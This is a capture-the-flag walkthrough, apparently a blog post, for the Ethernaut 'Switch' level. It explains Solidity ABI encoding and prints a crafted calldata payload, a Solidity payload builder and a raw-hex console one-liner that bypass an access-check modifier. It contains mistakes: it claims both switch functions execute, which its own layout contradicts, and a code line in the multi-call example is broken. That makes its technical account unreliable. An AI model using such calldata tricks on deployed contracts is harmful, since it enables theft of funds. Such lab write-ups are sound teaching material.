The Ethernaut Level 29 Switch challenge revolves around understanding how dynamic
CALLDATA
is constructed and interpreted by Solidity contracts. The objective is to craft aCALLDATA
payload that allows a single low-level call to execute bothturnSwitchOff()
andturnSwitchOn()
— cleverly circumventing theonlyOff
modifier check withinflipSwitch()
.
What is Ethernaut and Why Should Developers Care?
Ethernaut is an interactive game that teaches smart contract security through exploit-based problem-solving. It mimics real-world smart contract vulnerabilities and lets developers test their understanding in a controlled environment.
Each level challenges players to bypass constraints, hack logic, or exploit encoding flaws. Levels like Switch are not just games — they’re practical security puzzles that mirror attack vectors seen in actual DeFi protocols.
Understanding the Basics of the Ethernaut Switch Challenge
The Challenge Objective: Manipulating Solidity’s Dynamic CALLDATA
The goal of the Switch challenge is deceptively simple: call both turnSwitchOff() and turnSwitchOn() in a single low-level call — even though the contract’s flipSwitch() function is guarded by a onlyOff modifier.
This forces you to learn how Solidity handles dynamic calldata and how you can inject multiple function selectors into a single bytes parameter.
How Solidity Constructs and Interprets CALLDATA
Solidity uses ABI encoding to structure data sent in a transaction. Dynamic types like bytes have:
- A 32-byte offset pointing to where the actual data begins.
- A length field that describes how many bytes follow.
- The actual data payload — in this case, function selectors.
Analyzing the Standard CALLDATA Encoding
Let’s say you execute the following:
switchContract.flipSwitch(abi.encodeWithSignature("turnSwitchOff()"));
This would produce the following msg.data
(when logged using console.logBytes
):
0x30c13ade // flipSwitch(bytes) selector
0000000000000000000000000000000000000000000000000000000000000020 // offset to data
0000000000000000000000000000000000000000000000000000000000000004 // length of data
20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff() selector
Here’s the breakdown of what you saw above:
- The
0x20
at position 0x23 (35) indicates that the actual bytes for the dynamic argument start at byte 32. - At byte 0x43 (67) we see the length of the data (
0x04
). - The next 4 bytes (
0x20606e15
) are the selector forturnSwitchOff()
.
This layout follows ABI encoding rules for dynamic types:
- The 32-byte offset indicates the position of the dynamic data segment relative to the start of the arguments block.
Constructing a Malicious Payload
To trick the contract into calling both turnSwitchOff()
(to satisfy onlyOff
) and then turnSwitchOn()
, we add additional encoded data after the initial dynamic byte array.
Here’s the new layout:
0x30c13ade // flipSwitch(bytes) selector
0000000000000000000000000000000000000000000000000000000000000060 // new offset (now 0x60)
0000000000000000000000000000000000000000000000000000000000000004 // length of turnSwitchOff
20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff() selector
0000000000000000000000000000000000000000000000000000000000000004 // length of turnSwitchOn
76227e1200000000000000000000000000000000000000000000000000000000 // turnSwitchOn() selector
We simply:
- Adjust the original offset from
0x20
to0x60
, so the contract reads the dynamic data starting at byte 96. - Append a second dynamic call with its own 4-byte selector,
turnSwitchOn()
.
This allows the flipSwitch
function to:
- Decode the dynamic bytes.
- Make a low-level call to
turnSwitchOff()
. - Then execute the appended selector for
turnSwitchOn()
.
Solidity Code to Build the Payload Efficiently
This payload can be constructed in Solidity using:
bytes memory payload = bytes.concat(
bytes4(keccak256("flipSwitch(bytes)")), // [0-3]
bytes32(uint256(0x60)), // [4-35] offset to _data (96 bytes)
bytes32(uint256(4)), // [36-67] length of first call
bytes32(bytes4(keccak256("turnSwitchOff()"))), // [68-99] turnSwitchOff selector
bytes32(uint256(4)), // [100-131] length of second call
bytes4(keccak256("turnSwitchOn()")) // [132-135] turnSwitchOn selector (no padding required)
);
address(switchContract).call(payload);
No additional deployment is required — you’re directly exploiting the dynamic bytes decoding logic.
One-Liner Solution for the Challenge Using Console Commands
In a test console (like Hardhat or Remix), this one-liner works:
await sendTransaction({from: player, to: contract.address, data:"0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000420606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e12"})
This solves the level instantly using raw calldata. This payload is extremely gas efficient and does not require any custom deployment, you’re directly exploiting the dynamic decoding logic.
Multi-function CALLDATA Composition
You can extend this logic to chain multiple functions using nested dynamic calldata. For instance:
// Initialize a uint256 array with one element
uint256 ;
foo[0] = 42;
// Create the payload bytes
bytes memory payload = bytes.concat(
// [0x00 - 0x03] Function selector: targetFunction(bytes,bytes)
bytes4(keccak256("targetFunction(bytes,bytes)")),
// [0x04 - 0x23] Offset to first dynamic argument (selector1) = 0x40 (64 bytes)
bytes32(uint256(0x40)),
// [0x24 - 0x43] Offset to second dynamic argument (selector2 with array) = 0x80 (128 bytes)
bytes32(uint256(0x80)),
// --- First Dynamic Argument (Selector1) ---
// [0x44 - 0x63] Length of selector1 (4 bytes)
bytes32(uint256(4)),
// [0x64 - 0x83] Selector1: function1()
bytes32(bytes4(keccak256("function1()"))),
// --- Second Dynamic Argument (Selector2 + array) ---
// [0x84 - 0xa3] Length of selector2 payload (4 bytes)
bytes32(uint256(4)),
// [0xa4 - 0xc3] Selector2: function2(uint256[])
bytes32(bytes4(keccak256("function2(uint256[])"))),
// [0xc4 - 0xe3] Offset to the array data within selector2 payload = 0x20 (32 bytes)
bytes32(uint256(0x20)),
// [0xe4 - 0x103] Length of array: 1 element
bytes32(uint256(1)),
// [0x104 - 0x123] foo[0] = 42
bytes32(uint256(42))
);
This technique allows multiple function calls in a single transaction, useful for batching or flash loan operations—but also dangerous if unchecked.
Why Mastering the Switch Challenge Matters for Smart Contract Security
The Switch challenge is a lesson in deep Ethereum Virtual Machine (EVM) mechanics. You learn:
- How Solidity encodes dynamic types
- How calldata offsets and selectors are parsed
- How to build powerful low-level exploits without redeploying code
These skills are crucial for:
- Performing smart contract audits
- Defending against calldata-based attacks
- Building secure, gas-efficient smart contracts
If you’re serious about smart contract security, Ethernaut is the playground where you sharpen those skills.
Finally…
The Switch challenge exemplifies how deeply understanding Ethernaut, Solidity, and the EVM can help developers not just break contracts — but secure them. It’s a small puzzle with massive implications for smart contract design.
If you’re ready to explore more challenges, Ethernaut has dozens more waiting —
Frequently Asked Questions (FAQs) — Common Questions About the Ethernaut Switch Challenge
What is calldata in Solidity and why is it important?
Calldata is the input data sent with a transaction to a smart contract. It determines which function is called and what arguments are passed. Understanding it is key to debugging and securing contracts.
How does the Switch challenge exploit Solidity’s calldata encoding?
It uses knowledge of ABI encoding to trick the contract into executing two functions in a single dynamic bytes payload, bypassing modifier constraints.
Can I use this calldata manipulation technique in real-world contracts?
Yes — but responsibly. It’s used in upgradeable contracts, proxies, and batching. Misuse can create vulnerabilities if you don’t validate calldata properly.
What tools can help me analyze and craft calldata?
- Remix
- Hardhat/Foundry with console logs
- Ethers.js for manual calldata crafting
- ABI encoder/decoders for low-level inspection